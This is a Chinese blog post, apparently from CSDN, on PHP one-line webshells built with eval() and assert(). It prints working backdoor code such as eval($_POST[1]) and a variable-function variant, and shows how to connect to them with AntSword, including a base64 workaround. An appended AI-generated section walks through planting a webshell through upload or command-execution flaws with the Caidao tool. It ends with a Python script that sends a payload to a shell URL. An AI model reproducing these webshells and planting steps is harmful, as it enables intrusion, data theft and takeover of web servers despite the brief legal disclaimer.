eval与assert执行一句话木马

本文详细介绍了PHP中eval()和assert()函数的用法,特别是在创建和测试木马场景下的应用。通过实例展示了它们的区别,如eval()适用于执行字符串形式的PHP代码,而assert()则需要一个表达式。文中还分析了为何在某些情况下连接失败,以及如何通过base64编码来解决这个问题。最后,文章强调了在使用这两个函数时应注意的安全问题,特别是参数类型和表达式的正确性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先介绍一下木马中最简单的存在,俗称一句话木马

<?php
eval($_POST[1]);
?>

eval()

eval(str)是把str字符串按照php代码来计算或执行

该str字符串必须是合法的PHP代码,且必须以分号结尾

assert()

assert()包含于头文件assert()中,主要有assert()宏组成,

它接受一个int表达式作为其参数,若表达式求值的结果为真(1),则继续程序的执行;若为假(0),则assert()宏就在标准错误流(stderr)中写入一条错误信息,并同时调用abort()函数来终止程序。

assert()函数的主要功能是用于辅助调试程序。


一、木马测试

1.1  eval()

首先构造如下木马,用蚁剑测试连接

 

连接并可成功修改文件(插入 i love you)

二、升级木马并进行测试

2.1  eval()测试

<?php
$_POST[1]($_POST[2]);
?>

测试 1=eval() 构造 eval($_POST[2])

结果是无法连接,下面分析原因

因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:

<?php
function eval_1($str)
{
   eval($str);
} 
$a='eval_1';
$a('phpinfo()');
?> 

2.2   assert()测试

<?php
$_POST[1]($_POST[2]);
?>

a.   测试 1=assert

 

连接失败!再做其他测试

b.   再选择base64尝试连接,则连接成功!!

c.   测试 1=assert    2=$_POST[3]   base64   连接密码:3

 为什么看似正常的操作,却有的成功连接,有的又失败呢?这是为撒子?

不要慌,看我们接下俩分析:

对于实验 c ,我们利用burpsuit进行抓包并分析,可以看出明显的问题:

 首先注意:

我们要清楚——eval函数中参数是字符,assert函数中参数为表达式 (或者为函数)

这里我们 1 提交的是assert ,2提交的$_POST[3],我们本意是为了执行assert($_POST[3])

而蚁剑同时也post 了 '3' 这个数据变成 %40ini_set 之类的东西,导致assert中又变成了字符串,所以连接失败。

再用butpsuit对未选择base64的实验 b 抓包,可见assert后面的是字符串,因此连接失败!

 而当执行base64时,连接成功,是因为是在执行中多了个 eval() 函数,因此我们实际上是再执行assert(eval()),eval()中参数是字符串,因此连接成功!

assert('xxxx') 里面只有字符串

assert(eval(base64xxxx)); 里面有eval函数

三、 eval()与assert()结合测试

 

 测试链接成功!!

我们抓包查看 ,则能明显发现原因:

我们1提交assert,2提交eval($_POST[3]),构造执行了 assert(eval($_POST[3]))

同时满足assert中参数为函数,eval中参数为字符串。因此执行成功!

总结

最后在强调重点:

eval函数中参数是字符,如:
eval('xxxx');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 

### 菜刀工具命令执行漏洞实现一句话木马写入的方法 菜刀是一款用于管理基于PHP一句话木马的图形界面工具,其核心在于通过`eval()`函数执行远程传递的命令[^2]。以下是关于如何利用菜刀工具结合命令执行漏洞来写入一句话木马的具体方法: #### 利用过程详解 1. **寻找目标系统的漏洞** 首先需要找到目标系统中存在的命令执行漏洞或其他可以注入恶意代码的地方。这可能是一个未受保护的表单提交、动态参数处理不当等功能。 2. **编写一句话木马脚本** 一句简单的PHP木马通常如下所示: ```php <?php @eval($_POST['password']);?> ``` 这里`$_POST['password']`表示接收来自客户端发送的数据,并通过`@eval()`将其作为PHP代码运行。 3. **上传或植入木马到服务器** 如果存在文件上传漏洞,则可以通过修改HTTP请求头或者绕过MIME类型检测等方式上传上述PHP文件;如果没有直接上传途径,也可以尝试利用已知的安全缺陷(如SQL Injection, XSS等),将该段代码嵌入现有的合法页面中[^1]。 4. **配置并连接菜刀客户端** 安装好菜刀软件之后,在界面上填写刚才部署好的木马URL以及设置密码字段名(即上面例子中的`password`)。点击测试按钮验证连通性后即可获得对该站点的部分操作权限[^3]。 5. **扩展攻击行为** 成功建立会话之后,能够进一步实施更多危害动作比如读取敏感数据、删除重要资料甚至完全接管整个主机环境。值得注意的是某些高级防护机制可能会阻止常规手段下的反序列化触发或是特定语法结构识别失败等问题发生时可考虑替换其他形式的有效载荷加载方式例如使用`assert()`, `call_user_func_array()`等多种替代方案达到相同效果[^4]。 #### 注意事项 - 所有渗透活动都应在授权范围内进行,非法入侵他人计算机信息系统属于违法行为。 - 学习此类技术主要用于提高自我网络安全意识及防御能力而非恶意破坏用途。 ```python # 示例Python脚本模拟向服务端post数据的过程 import requests url = 'http://example.com/shell.php' # 替换为目标实际地址 data = {'password': 'phpinfo();'} # 设置payload内容 response = requests.post(url, data=data) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值